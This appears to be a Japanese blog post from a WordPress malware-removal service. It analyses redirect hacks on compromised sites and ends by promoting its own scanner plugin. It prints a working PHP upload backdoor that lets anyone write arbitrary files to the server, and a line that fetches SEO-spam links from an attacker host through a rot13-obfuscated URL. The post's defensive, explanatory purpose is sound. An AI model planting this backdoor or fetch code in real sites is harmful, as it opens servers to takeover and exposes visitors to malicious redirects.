ワードプレスドクターが復旧してきたマルウェア改ざんを受けているサイト様で、最近特に多くのサイト様が被害を受けているリダイレクトハック(サイトがアクセスしてきたユーザーが中国のサイトやセキュリティーサイト等に勝手に誘導されてしまうサイトの改ざん)がどのようなコードになっていて、そのコードがサイトにどのように作用しているのかを解説したく思います。


前提条件 ワードプレスの管理者権限を奪取するハッカー

ハッカーは下記のような手法でまずワードプレスの管理者権限を奪取します。

●総当たりでパスワードをログイン画面に入力、ログイン施行を繰り返し管理者権限を奪取する(ソフトウェアで自動化されています)
●プラグインやテーマ、ワードプレス本体の脆弱性を利用して管理者権限を奪取する
●wp-config.phpの設定の不備(認証用ユニークキーが設定されていないなど)を利用して管理者権限を奪取する

ワードプレスには管理画面からのファイルの変更機能がついていますのでこの機能を利用して悪意のあるコードをサイトに埋め込んできます。

どのページにアクセスしてもユーザーを別のドメインのページにリダイレクトする改ざん被害

検索エンジン経由など様々なページにアクセスしてきたユーザーをリダイレクトするには、ワードプレスで必ず読み込まれるファイルにリダイレクトの為のコードをハッカーが仕込まなくてはいけません。
ワードプレスに含まれるファイルで、必ずサイト表示時に読み込まれる代表的なファイルはindex.php,wp-config.phpやテーマに含まれる、header.php,footer.phpなどがあり、最もハッカーが改ざんを埋め込んでいる確率が高いファイルとなっています。

上の画像は実際に改ざんのコードがwp-config.phpに埋め込まれている状態のキャプチャです。
@includeという命令で何らかのファイルを別所から読み込んで実行していることがわかります。多くの場合マルウェアのコードはこのように難読化され処理内容がわからないようになっています。

任意のファイルをサーバーにアップロードできるファイルをサイトに設置

昨今流行しているリダイレクトハックには、必ず下記のようなコードのファイルがサーバー中に含まれています。プラグインに偽装したり、wpcsesapps.phpというファイルでwp-contentフォルダの中に置かれていたりします。

if (isset($_POST['upload'])){
	if ($_POST['upload']=='1'){
		$uploadfile = $_POST['path'].$_FILES['uploadfile']['name'];
		if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $uploadfile))
			{echo 'ok';}
		else {echo $_FILES['uploadfile']['error'];}
		}
	if ($_POST['upload']=='2'){
		$fp=fopen($_POST['path'],'a');  
		fwrite($fp, "\r\n");
		fwrite($fp, $_POST['uploadfile']);
		fclose($fp);
		echo 'ok';
		}
	}
else {header('Location: ../../');}

このコードはいかなるファイルもサーバーに外部からアップロードできてしまう大変危険なコードで、バックドアと呼ばれハッカーの改ざんの入り口となるものです。
このファイルは難読化されておらず、難読化されたコードを発見するマルウェアスキャナーで検出できないようになっています。

サイトのページ内のすべてのリンクに不正なサイトにリダイレクトするコードの埋め込み

またテーマのfooter.phpというファイルに不正なJavascriptコードを埋め込むことによってサイトの任意のページのリンクをクリックした瞬間にユーザーを別のサイトにリダイレクトする改ざんを受けている事例もございました。

※XXXXXの部分は不正時としています

このコードは、サイト中に含まれるすべてのリンクに対して、別サイトへユーザーがジャンプするような偽のリンクを仕込みます。また、数時間に一回しか発動しないようにCOOKIEを利用してすでにリダイレクトされたユーザーには一定時間この機能が発動しないようになっている大変巧妙なコードです。

同様の改ざんを受けている別のサイトへのリンクを任意のキーワードで行う

最後にこのリダイレクトハックに共通する特徴としてSEOハックと呼ばれる改ざんも含まれることが挙げられます。
SEOハックとは、検索エンジンが被リンクの量でサイトの検索エンジンの上位に検索結果を持ってくる仕組みを悪用して、悪意のあるコードが含まれるサイトへのリンクをそのサイトの管理者が関知しないように、こっそりとサイトに埋め込むことです。
このリンクの出力の為にハッカーは下記のような改ざんをサイトに埋め込みます

※XXXXXの部分は不正時としています。

@file_get_contents(str_rot13("uggc://scrq8.bet/xxxxxxx"));

このコードはハッカーが所有しているサーバーからSEOハックを行うためのリンクリストをリアルタイムに取得しており、ハッカーが好きなタイミングでSEOハックによって検索エンジンに表示したいサイトのURLを設定できるようになっています。
このようにして取得されたリストは知らず知らずのうちに、改ざんを受けたサイトの中で出力され、検索エンジンがそれを拾ってしまうようになっています。

参考記事
ワードプレス改ざんの復旧:5000件以上のハッキングされたワードプレスサイトのリストを発見

リダイレクトハックのマルウェアを検出するには?

ワードプレスドクターが作ったリダイレクトハックのマルウェアを検出できるプラグインはこちらからご利用ください
【無料】WPドクター:マルウェアスキャン プラグイン

WordPress のマルウェア駆除、セキュリティー対策のご相談・ご依頼はWPドクターまでお気軽にどうぞ